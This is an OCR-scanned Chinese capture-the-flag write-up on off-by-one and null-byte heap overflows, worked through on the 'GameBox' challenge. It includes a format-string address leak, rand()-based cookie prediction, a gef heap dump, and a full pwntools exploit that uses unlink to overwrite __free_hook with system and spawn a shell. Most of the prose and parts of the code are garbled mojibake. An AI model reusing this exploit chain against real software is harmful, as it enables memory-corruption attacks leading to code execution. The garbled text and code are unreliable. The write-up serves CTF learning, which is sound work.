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off-by-one

o HTFNWNEFREKERBAEY, FHEABENNBELSE T —NFW, XMELRMMH offby-one .
o EFTE—MEXEHAN, offby-one th, WAELEHAKIIRIFEEEF BRI 68 E IEH BB
e off-by-one HHFER:

(1) ZEAMEEFT, ~HIRD:

for(int i=0;i<=len;i++){
read(0,buf[i],1);

}

(2) BHAEN— NULL , X FRH— null-off-by-one , ~BIHT:

int i;
for(i=0;i<len;i++){
read(0,buf[i],1);

¥
buf[i]="\0";

o FH off-by-one —fBe LIl .

(1) HERZXX
(2) unlink

o XS TEA HEHL H RS unlink , null-off-by-one BAE k. BNESBIAHERSH, B EF KRS FEZER,
JEHEEH M.

o 321 (6441 T, HERIK/IMRZLL8 (16) FHxfFF. B, HiFKZ 0x24 (0x28) , MISLfra4Ee 0x20 K/, £H*K
14 (8) FHH T chunk->prev_size i#&ft. HitinRiZ7E off-by-one, RATEFIHE, —KESHE AXFH K

N,

B 5. 58 M #F 2018-GameBox
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Arch: amde4-64-1ittle
RELRO:
Stack:

NX:
PIE:

o f#1E off-by-one JEiF, 7HI7E & A 4%k HiEH.

for (5= 8; 3¢ size; i)
i+ *(&size + 4)) = *(name + i);

o EHFE KA FRERI , 7£ Rl RIEF.

puts("=======RANK LIST=======");
for ( 1 =8; 1 <=9; +i )
{

if ( *(&Box_list + 6 * 1) )

{

putchar(i + '@");
putchar(":"};
printf(*(&Box_list + 6 * 1));

return _ readfsqword(@x28u) ~ v2;

o AL NRBKIBRAZEHEN B #1E, &8I cookie

for (i=0; i <=23; ++i )
=[1] = rand() % 26 + "A";
puts("Come on boy!Guess what I write:");
for (7 =8; 7 <= 31; ++] )
read(@, &buf, lull);
if ( buf <= "@" || buf > "Z2" )
break;
s1[3] = buf;
if ( !'strcmp(sl, s) )
{
puts("You great prophet!™);
sub_S5G4DERS1752C(s);

}

glse

puts("You loooooser!™);

}

o WIREBAT HitE A MIER RAEEB M Z R HRE cookie, &— chunk Xt R 4 [ #cookie

o XEEHEMAT rand, ZAIFHEA srand, F i cookie #iZ AT LATRMIF, (HERBEXEENEZ, python FIFEHLER C/C++
FIBENLEE BEEAE, BTl B REH R CHE AR,

o MM UgwE —4 DLL, #J5H python [¥] ctypes Rin#k.

BIER U % E 4 A A off-by-one

EAJFE T PIE, FrUABAIE MRS PIE ELE, H5MNEF libe fZhk, WU #4775 8§ IR RLHL.
B —> chunk, "] LMK H 3R BIHE R B K i A

Add(0x20, '%13%$paaaa%9%p’ )#0
Show()

p.recvuntil('e:")




free_hook=libc.sym[' free_hook']+libc_addr

system=1libc.sym[ 'system']+1libc_addr
pie=int(p.recvuntil('="',drop=True),16)-0x18d5

HHiE31 chunk

Add (0x108, 'a'*8)#1
Add (0x100, 'b' *8)#2

Add(@x30, ' /bin/sh')#3

XEHEWVEHA—T chunk2 F)X/M—EEXET 0x100, K AixEH off-by-one &4 next chunk->size &{&—AFH
B0,

R IRE R IETT vk

pay=p64(0)+p64(0x101)+p64(box_list-0x18)+p64(box_list-0x10)+'a'*(0x100-0x20)+p64(0x100)

Edit(1,1,pay)

R box_listf ik & i 2 1k freeds WA 16 5t BrZE M tudik, XHEAE 5 M.

LR FATTR DL HE SR AIR T

Chunk(addr=0x55e7b5fa9018, size=0x30, flags=

[0xB000855e7b5fa9010
135paaaa%osp...]

25 31 33 24

70 61

Chunk(addr=0x55e7b5fa9040, size=0x110, flags=
[oxB00855e7b5Ta9040

]
Chunk(addr=0x55e7b5fa9158,
[0x000855e7b5fa9150

# 7 chunk3 1 top chunk . JEF £ FEAK addr=0x55e7b5fa9150, size=0x110, TV EFEBE

gef» x/90gx 0x000055e7b5faf810

Ix55e7b5fa9010:
Ox55e7b5Ta9020:
0x55e7b5fa9030:
Ix55e7b5Ta%040:
0x55e7b5Ta9ns50:
Bx55e7b5fa%2060:
0x55e7b5fa9oa70:
Bx55e7b5fa%9080:
0x55e7b5fa9n90:
Bx55e7b5fa%90an:
0x55e7b5fa9abo:
Bx55e7b5fa%90cH:
0x55e7b5fag0de:
Bx55e7b5fa%0ed:
0x55e7b5fa9oafo:
Bx55e7b5fa%9168:
0x55e7b5fa9110:
Ox55e7b5fa9120:
Bx55e7b5fa%9138:
0x55e7b5fa9140:
9x55e7b5fa9158:
OxX55e/D5Ta?1o00:
Bx55e7b5fa%9170:
0x55e7b5fa9180:
Bx55e7b5fa%9198:
0x55e7b5fa91a0:
Bx55e7b5fa%91ba:
0x55e7b5fa91co:
Ox55e7b5fa91da:
0x55e7b5fa91e0:
Bx55e7b5fa91fa:

0x061061617624333125
Ox0000000000000000
0x0000000000000000

1w 0
Rl A

0x000055e7b4bz2b118
Ox6161616161616161
0x6161616161616161
Ox6161616161616161
0x6161616161616161
Ox6161616161616161
0x6161616161616161
Ox6161616161616161
0x6161616161616161
Ox6161616161616161
0x6161616161616161
Ox6161616161616161
0x6161616161616161
Ox6161616161616161
Ox6161616161616161
0x0000000000000100
Ox6262626262626262
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000

@x00000a7024392561
0x0000000000000000
0x0000000000000111
a0a00000080101
55e7b4b2b1206
0x6161616161616161
0x6161616161616161
0x6161616161616161
0x6161616161616161
0x6161616161616161
0x6161616161616161
0x6161616161616161
0x6161616161616161
0x6161616161616161
0x6161616161616161
0x6161616161616161
0x6161616161616161
0x6161616161616161
0x6161616161616161
0x0000000000000100

(o aTalol
A

0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000




0x55e7b5fa9200:
Bx55e7b5fa%9218:
0x55e7b5fa9220:
Bx55e7b5fa%9230:
0x55e7b5fa9240:
Bx55e7b5fa%9250:

0x55e7b5fa9260:
Ox55e7b5Ta9270:
0x55e7b5fa9280:
Bx55e7b5fa%9290:
I%x55e7b5fa92a0:
BX55e/D5Tav’bb:

0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
OX0a6873276e69622f
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
9x0000000050000000

Ox0000000000000000

0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
Ox0000000000000041
0X000OVODOO0OOODO0
0x0000000000000000
0x0000000000000000
Ox0000000000020C

gg 2dn.ne

B MENFR M, RINEEK chunk3 ) size=0x55e7b5fa9260-0x55e7b5fa9150-0x100=0x10, EJ chunk3-

chunk2-0x100.

pay="c'*(0x100-0x10)+p64(0)+p64(0x11)

Edit(2,2,pay)
BRZ)E, HEMRETIEH:

Chunk(addr=8x55e7b5fag%01e,
[0xB000855e7b5fa9010

135paaaa%osp...]

Chunk(addr=0x55e7b5fa%040,
[oxB00855e7b5Ta9040

]
Chunk(addr=0x55e7b5fag915@,
[0x000855e7b5fa9150
CCCCCCCCoCCooec]
Chunk(addr=0x55e7b5fa9250,
[oxB00855e7b5Ta9250
A ]
Chunk(addr=0x55e7b5fa%260,
[0x000855e7b5fa9260

Chunk(addr=0x55e7b5fa%92a0,

size=0x30, flags= )
25 31 33 24 70 61 61 61 61 25 39 24 70

size=0x110, flags= )

size=0x100, flags=)
63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63

size=0x10, flags= )
size=0x40, flags=
2f 62 69 6e 2f 73

size=0x20cba, flags=

BT FRA] free # chunk2 BP AT 328 unlink , JSHEIBIFTDMER#IES 7. 34 free_hook B5 N system.

Del(2,2)

Edit(1,1, "a'*0x18+p64(free_hook))

Edit(1,1,p64(system))

return rand();

}

//f#H gcc rand.c -fpic -shared -o libcrandom.so

e B EXP

AT E R DLL




from pwn import*
import ctypes
H#context.log level="'debug'
func=ctypes.CDLL('./libcrandom.so")
libc=ELF('/1ib/x86_64-1inux-gnu/libc.so0.6")
p=process('./GameBox")
list cookies=[]
def Guess():

pot

for i in range(24):

r+=chr(func.Random()%26+ord('A"'))

return r

Add(size,name):

p.sendlineafter('xit\n', 'P")

g=Guess()

list_cookies.append(g)

p.sendlineafter('write:\n',g)

p.sendlineafter('length:\n',str(size))

p.sendlineafter('name:\n',name)

Show():

p.sendlineafter('xit\n',"'S")

Del(idx,c_id):

p.sendlineafter('xit\n','D")

p.sendlineafter('index:\n',str(idx))

p.sendlineafter('Cookie:\n",list_cookies[c_id])

Edit(idx,c_id,name):
.sendlineafter('xit\n','C")
.sendlineafter('index:\n',str(idx))
.sendlineafter('Cookie:\n',list cookies[c_id])
.sendlineafter('):\n',name)

Add (0x20, '%13$paaaa%o%p’ )#0
Show ()

libc_addr=int(p.recvuntil('a'*4,drop=True),16)-240-1libc.sym['_ libc_start_main']
free_hook=1libc.sym['_free_hook']+1libc_addr

system=1ibc.sym['system']+1ibc_addr
pie=int(p.recvuntil('="',drop=True),16)-0x18d5
success('libc_addr: '+hex(libc_addr))
success('free_hook: '+hex(free_hook))
success('system: '+hex(system))

success('pie: '+hex(pie))
box_list=pie+0x203130
success('box_list:'+hex(box_list))

Add (0x108, 'a' *8)#1

Add (0x100, 'b' *8)#2

Add (0x30, ' /bin/sh")#3
pay=p64(0)+p64(0x101)+p64(box_list-0x18)+p64(box_list-0x10)+'a'*(0x100-0x20)+p64(0x100)
Edit(1,1,pay)
pay="c'*(0x100-0x10)+p64(0)+p64(0x11)
Edit(2,2,pay)

Edit(1,1,p64(system))
Del(3,3)
p.interactive()




7E 7 Fnull-off-by-one 523 unlink B BEyE & B BRI HELH .

T EEAN TR/ BRI FHAEE R off-by-one IR .

null-off-by-one &2 next chunk->size &K — 71 A 0, EHFES KKK FET 0x100 .
python HIFENIEH %5 CIC+H A —F.
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